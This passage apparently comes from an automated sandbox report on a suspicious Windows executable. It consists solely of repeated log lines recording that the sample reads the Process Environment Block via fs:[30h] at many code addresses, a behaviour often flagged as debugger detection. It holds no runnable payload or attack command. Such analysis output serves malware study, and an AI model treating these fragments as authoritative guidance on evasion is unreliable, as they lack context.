Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B35BA mov eax, dword ptr fs:[00000030h]	4_2_359B35BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B35BA mov eax, dword ptr fs:[00000030h]	4_2_359B35BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B35BA mov eax, dword ptr fs:[00000030h]	4_2_359B35BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DF5BE mov eax, dword ptr fs:[00000030h]	4_2_359DF5BE
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F5B0 mov eax, dword ptr fs:[00000030h]	4_2_3594F5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F5B0 mov eax, dword ptr fs:[00000030h]	4_2_3594F5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F5B0 mov eax, dword ptr fs:[00000030h]	4_2_3594F5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F5B0 mov eax, dword ptr fs:[00000030h]	4_2_3594F5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F5B0 mov eax, dword ptr fs:[00000030h]	4_2_3594F5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F5B0 mov eax, dword ptr fs:[00000030h]	4_2_3594F5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F5B0 mov eax, dword ptr fs:[00000030h]	4_2_3594F5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F5B0 mov eax, dword ptr fs:[00000030h]	4_2_3594F5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594F5B0 mov eax, dword ptr fs:[00000030h]	4_2_3594F5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F35B6 mov eax, dword ptr fs:[00000030h]	4_2_359F35B6
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359BD5B0 mov eax, dword ptr fs:[00000030h]	4_2_359BD5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359BD5B0 mov eax, dword ptr fs:[00000030h]	4_2_359BD5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415A9 mov eax, dword ptr fs:[00000030h]	4_2_359415A9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415A9 mov eax, dword ptr fs:[00000030h]	4_2_359415A9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415A9 mov eax, dword ptr fs:[00000030h]	4_2_359415A9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415A9 mov eax, dword ptr fs:[00000030h]	4_2_359415A9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415A9 mov eax, dword ptr fs:[00000030h]	4_2_359415A9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F35D7 mov eax, dword ptr fs:[00000030h]	4_2_359F35D7
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F35D7 mov eax, dword ptr fs:[00000030h]	4_2_359F35D7
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F35D7 mov eax, dword ptr fs:[00000030h]	4_2_359F35D7
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3599D5D0 mov eax, dword ptr fs:[00000030h]	4_2_3599D5D0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3599D5D0 mov ecx, dword ptr fs:[00000030h]	4_2_3599D5D0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359495DA mov eax, dword ptr fs:[00000030h]	4_2_359495DA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359555C0 mov eax, dword ptr fs:[00000030h]	4_2_359555C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F55C9 mov eax, dword ptr fs:[00000030h]	4_2_359F55C9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415F4 mov eax, dword ptr fs:[00000030h]	4_2_359415F4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415F4 mov eax, dword ptr fs:[00000030h]	4_2_359415F4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415F4 mov eax, dword ptr fs:[00000030h]	4_2_359415F4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415F4 mov eax, dword ptr fs:[00000030h]	4_2_359415F4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415F4 mov eax, dword ptr fs:[00000030h]	4_2_359415F4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359415F4 mov eax, dword ptr fs:[00000030h]	4_2_359415F4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35957505 mov eax, dword ptr fs:[00000030h]	4_2_35957505
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35957505 mov ecx, dword ptr fs:[00000030h]	4_2_35957505
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595D530 mov eax, dword ptr fs:[00000030h]	4_2_3595D530
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595D530 mov eax, dword ptr fs:[00000030h]	4_2_3595D530
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592D534 mov eax, dword ptr fs:[00000030h]	4_2_3592D534
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592D534 mov eax, dword ptr fs:[00000030h]	4_2_3592D534
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592D534 mov eax, dword ptr fs:[00000030h]	4_2_3592D534
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592D534 mov eax, dword ptr fs:[00000030h]	4_2_3592D534
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592D534 mov eax, dword ptr fs:[00000030h]	4_2_3592D534
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592D534 mov eax, dword ptr fs:[00000030h]	4_2_3592D534
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F5537 mov eax, dword ptr fs:[00000030h]	4_2_359F5537
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DB52F mov eax, dword ptr fs:[00000030h]	4_2_359DB52F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CF525 mov eax, dword ptr fs:[00000030h]	4_2_359CF525
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CF525 mov eax, dword ptr fs:[00000030h]	4_2_359CF525
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CF525 mov eax, dword ptr fs:[00000030h]	4_2_359CF525
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CF525 mov eax, dword ptr fs:[00000030h]	4_2_359CF525
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CF525 mov eax, dword ptr fs:[00000030h]	4_2_359CF525
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CF525 mov eax, dword ptr fs:[00000030h]	4_2_359CF525
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CF525 mov eax, dword ptr fs:[00000030h]	4_2_359CF525
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CB550 mov eax, dword ptr fs:[00000030h]	4_2_359CB550
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CB550 mov eax, dword ptr fs:[00000030h]	4_2_359CB550
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CB550 mov eax, dword ptr fs:[00000030h]	4_2_359CB550
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595B570 mov eax, dword ptr fs:[00000030h]	4_2_3595B570
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595B570 mov eax, dword ptr fs:[00000030h]	4_2_3595B570
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B562 mov eax, dword ptr fs:[00000030h]	4_2_3591B562
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B480 mov eax, dword ptr fs:[00000030h]	4_2_3591B480
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35929486 mov eax, dword ptr fs:[00000030h]	4_2_35929486
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35929486 mov eax, dword ptr fs:[00000030h]	4_2_35929486
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359174B0 mov eax, dword ptr fs:[00000030h]	4_2_359174B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359174B0 mov eax, dword ptr fs:[00000030h]	4_2_359174B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359534B0 mov eax, dword ptr fs:[00000030h]	4_2_359534B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C74B0 mov eax, dword ptr fs:[00000030h]	4_2_359C74B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F54DB mov eax, dword ptr fs:[00000030h]	4_2_359F54DB
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C94E0 mov eax, dword ptr fs:[00000030h]	4_2_359C94E0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A7410 mov eax, dword ptr fs:[00000030h]	4_2_359A7410
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594340D mov eax, dword ptr fs:[00000030h]	4_2_3594340D
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CB450 mov eax, dword ptr fs:[00000030h]	4_2_359CB450
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CB450 mov eax, dword ptr fs:[00000030h]	4_2_359CB450
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CB450 mov eax, dword ptr fs:[00000030h]	4_2_359CB450
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CB450 mov eax, dword ptr fs:[00000030h]	4_2_359CB450
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DF453 mov eax, dword ptr fs:[00000030h]	4_2_359DF453
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B440 mov eax, dword ptr fs:[00000030h]	4_2_3592B440
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B440 mov eax, dword ptr fs:[00000030h]	4_2_3592B440
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B440 mov eax, dword ptr fs:[00000030h]	4_2_3592B440
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B440 mov eax, dword ptr fs:[00000030h]	4_2_3592B440
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B440 mov eax, dword ptr fs:[00000030h]	4_2_3592B440
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B440 mov eax, dword ptr fs:[00000030h]	4_2_3592B440
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F547F mov eax, dword ptr fs:[00000030h]	4_2_359F547F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35921460 mov eax, dword ptr fs:[00000030h]	4_2_35921460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35921460 mov eax, dword ptr fs:[00000030h]	4_2_35921460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35921460 mov eax, dword ptr fs:[00000030h]	4_2_35921460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35921460 mov eax, dword ptr fs:[00000030h]	4_2_35921460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35921460 mov eax, dword ptr fs:[00000030h]	4_2_35921460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593F460 mov eax, dword ptr fs:[00000030h]	4_2_3593F460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593F460 mov eax, dword ptr fs:[00000030h]	4_2_3593F460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593F460 mov eax, dword ptr fs:[00000030h]	4_2_3593F460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593F460 mov eax, dword ptr fs:[00000030h]	4_2_3593F460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593F460 mov eax, dword ptr fs:[00000030h]	4_2_3593F460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593F460 mov eax, dword ptr fs:[00000030h]	4_2_3593F460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DF78A mov eax, dword ptr fs:[00000030h]	4_2_359DF78A
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594D7B0 mov eax, dword ptr fs:[00000030h]	4_2_3594D7B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F37B6 mov eax, dword ptr fs:[00000030h]	4_2_359F37B6
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F7BA mov eax, dword ptr fs:[00000030h]	4_2_3591F7BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F7BA mov eax, dword ptr fs:[00000030h]	4_2_3591F7BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F7BA mov eax, dword ptr fs:[00000030h]	4_2_3591F7BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F7BA mov eax, dword ptr fs:[00000030h]	4_2_3591F7BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F7BA mov eax, dword ptr fs:[00000030h]	4_2_3591F7BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F7BA mov eax, dword ptr fs:[00000030h]	4_2_3591F7BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F7BA mov eax, dword ptr fs:[00000030h]	4_2_3591F7BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F7BA mov eax, dword ptr fs:[00000030h]	4_2_3591F7BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F7BA mov eax, dword ptr fs:[00000030h]	4_2_3591F7BA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DD7B0 mov eax, dword ptr fs:[00000030h]	4_2_359DD7B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DD7B0 mov eax, dword ptr fs:[00000030h]	4_2_359DD7B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A97A9 mov eax, dword ptr fs:[00000030h]	4_2_359A97A9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359AF7AF mov eax, dword ptr fs:[00000030h]	4_2_359AF7AF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359AF7AF mov eax, dword ptr fs:[00000030h]	4_2_359AF7AF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359AF7AF mov eax, dword ptr fs:[00000030h]	4_2_359AF7AF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359AF7AF mov eax, dword ptr fs:[00000030h]	4_2_359AF7AF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359AF7AF mov eax, dword ptr fs:[00000030h]	4_2_359AF7AF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359257C0 mov eax, dword ptr fs:[00000030h]	4_2_359257C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359257C0 mov eax, dword ptr fs:[00000030h]	4_2_359257C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359257C0 mov eax, dword ptr fs:[00000030h]	4_2_359257C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592D7E0 mov ecx, dword ptr fs:[00000030h]	4_2_3592D7E0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595F71F mov eax, dword ptr fs:[00000030h]	4_2_3595F71F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595F71F mov eax, dword ptr fs:[00000030h]	4_2_3595F71F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35925702 mov eax, dword ptr fs:[00000030h]	4_2_35925702
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35925702 mov eax, dword ptr fs:[00000030h]	4_2_35925702
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35927703 mov eax, dword ptr fs:[00000030h]	4_2_35927703
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919730 mov eax, dword ptr fs:[00000030h]	4_2_35919730
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35919730 mov eax, dword ptr fs:[00000030h]	4_2_35919730
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35955734 mov eax, dword ptr fs:[00000030h]	4_2_35955734
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359FB73C mov eax, dword ptr fs:[00000030h]	4_2_359FB73C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359FB73C mov eax, dword ptr fs:[00000030h]	4_2_359FB73C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359FB73C mov eax, dword ptr fs:[00000030h]	4_2_359FB73C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359FB73C mov eax, dword ptr fs:[00000030h]	4_2_359FB73C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592973A mov eax, dword ptr fs:[00000030h]	4_2_3592973A
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592973A mov eax, dword ptr fs:[00000030h]	4_2_3592973A
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35923720 mov eax, dword ptr fs:[00000030h]	4_2_35923720
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593F720 mov eax, dword ptr fs:[00000030h]	4_2_3593F720
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593F720 mov eax, dword ptr fs:[00000030h]	4_2_3593F720
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593F720 mov eax, dword ptr fs:[00000030h]	4_2_3593F720
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DF72E mov eax, dword ptr fs:[00000030h]	4_2_359DF72E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E972B mov eax, dword ptr fs:[00000030h]	4_2_359E972B
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C375F mov eax, dword ptr fs:[00000030h]	4_2_359C375F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C375F mov eax, dword ptr fs:[00000030h]	4_2_359C375F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C375F mov eax, dword ptr fs:[00000030h]	4_2_359C375F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C375F mov eax, dword ptr fs:[00000030h]	4_2_359C375F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C375F mov eax, dword ptr fs:[00000030h]	4_2_359C375F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35933740 mov eax, dword ptr fs:[00000030h]	4_2_35933740
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35933740 mov eax, dword ptr fs:[00000030h]	4_2_35933740
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35933740 mov eax, dword ptr fs:[00000030h]	4_2_35933740
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F3749 mov eax, dword ptr fs:[00000030h]	4_2_359F3749
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B765 mov eax, dword ptr fs:[00000030h]	4_2_3591B765
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B765 mov eax, dword ptr fs:[00000030h]	4_2_3591B765
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B765 mov eax, dword ptr fs:[00000030h]	4_2_3591B765
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591B765 mov eax, dword ptr fs:[00000030h]	4_2_3591B765
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A368C mov eax, dword ptr fs:[00000030h]	4_2_359A368C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A368C mov eax, dword ptr fs:[00000030h]	4_2_359A368C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A368C mov eax, dword ptr fs:[00000030h]	4_2_359A368C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359A368C mov eax, dword ptr fs:[00000030h]	4_2_359A368C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359176B2 mov eax, dword ptr fs:[00000030h]	4_2_359176B2
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359176B2 mov eax, dword ptr fs:[00000030h]	4_2_359176B2
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359176B2 mov eax, dword ptr fs:[00000030h]	4_2_359176B2
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591D6AA mov eax, dword ptr fs:[00000030h]	4_2_3591D6AA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591D6AA mov eax, dword ptr fs:[00000030h]	4_2_3591D6AA
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B6C0 mov eax, dword ptr fs:[00000030h]	4_2_3592B6C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B6C0 mov eax, dword ptr fs:[00000030h]	4_2_3592B6C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B6C0 mov eax, dword ptr fs:[00000030h]	4_2_3592B6C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B6C0 mov eax, dword ptr fs:[00000030h]	4_2_3592B6C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B6C0 mov eax, dword ptr fs:[00000030h]	4_2_3592B6C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3592B6C0 mov eax, dword ptr fs:[00000030h]	4_2_3592B6C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E16CC mov eax, dword ptr fs:[00000030h]	4_2_359E16CC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E16CC mov eax, dword ptr fs:[00000030h]	4_2_359E16CC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E16CC mov eax, dword ptr fs:[00000030h]	4_2_359E16CC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E16CC mov eax, dword ptr fs:[00000030h]	4_2_359E16CC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DF6C7 mov eax, dword ptr fs:[00000030h]	4_2_359DF6C7
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359516CF mov eax, dword ptr fs:[00000030h]	4_2_359516CF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DD6F0 mov eax, dword ptr fs:[00000030h]	4_2_359DD6F0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594D6E0 mov eax, dword ptr fs:[00000030h]	4_2_3594D6E0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594D6E0 mov eax, dword ptr fs:[00000030h]	4_2_3594D6E0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B36EE mov eax, dword ptr fs:[00000030h]	4_2_359B36EE
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B36EE mov eax, dword ptr fs:[00000030h]	4_2_359B36EE
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B36EE mov eax, dword ptr fs:[00000030h]	4_2_359B36EE
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B36EE mov eax, dword ptr fs:[00000030h]	4_2_359B36EE
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B36EE mov eax, dword ptr fs:[00000030h]	4_2_359B36EE
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B36EE mov eax, dword ptr fs:[00000030h]	4_2_359B36EE
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35923616 mov eax, dword ptr fs:[00000030h]	4_2_35923616
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35923616 mov eax, dword ptr fs:[00000030h]	4_2_35923616
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35951607 mov eax, dword ptr fs:[00000030h]	4_2_35951607
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595F603 mov eax, dword ptr fs:[00000030h]	4_2_3595F603
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F5636 mov eax, dword ptr fs:[00000030h]	4_2_359F5636
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F626 mov eax, dword ptr fs:[00000030h]	4_2_3591F626
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F626 mov eax, dword ptr fs:[00000030h]	4_2_3591F626
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F626 mov eax, dword ptr fs:[00000030h]	4_2_3591F626
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F626 mov eax, dword ptr fs:[00000030h]	4_2_3591F626
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F626 mov eax, dword ptr fs:[00000030h]	4_2_3591F626
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F626 mov eax, dword ptr fs:[00000030h]	4_2_3591F626
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F626 mov eax, dword ptr fs:[00000030h]	4_2_3591F626
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F626 mov eax, dword ptr fs:[00000030h]	4_2_3591F626
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F626 mov eax, dword ptr fs:[00000030h]	4_2_3591F626
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35959660 mov eax, dword ptr fs:[00000030h]	4_2_35959660
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35959660 mov eax, dword ptr fs:[00000030h]	4_2_35959660
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359BD660 mov eax, dword ptr fs:[00000030h]	4_2_359BD660
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35977190 mov eax, dword ptr fs:[00000030h]	4_2_35977190
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D5180 mov eax, dword ptr fs:[00000030h]	4_2_359D5180
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D5180 mov eax, dword ptr fs:[00000030h]	4_2_359D5180
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593B1B0 mov eax, dword ptr fs:[00000030h]	4_2_3593B1B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D11A4 mov eax, dword ptr fs:[00000030h]	4_2_359D11A4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D11A4 mov eax, dword ptr fs:[00000030h]	4_2_359D11A4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D11A4 mov eax, dword ptr fs:[00000030h]	4_2_359D11A4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D11A4 mov eax, dword ptr fs:[00000030h]	4_2_359D11A4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595D1D0 mov eax, dword ptr fs:[00000030h]	4_2_3595D1D0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3595D1D0 mov ecx, dword ptr fs:[00000030h]	4_2_3595D1D0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F51CB mov eax, dword ptr fs:[00000030h]	4_2_359F51CB
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359C71F9 mov esi, dword ptr fs:[00000030h]	4_2_359C71F9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359451EF mov eax, dword ptr fs:[00000030h]	4_2_359451EF
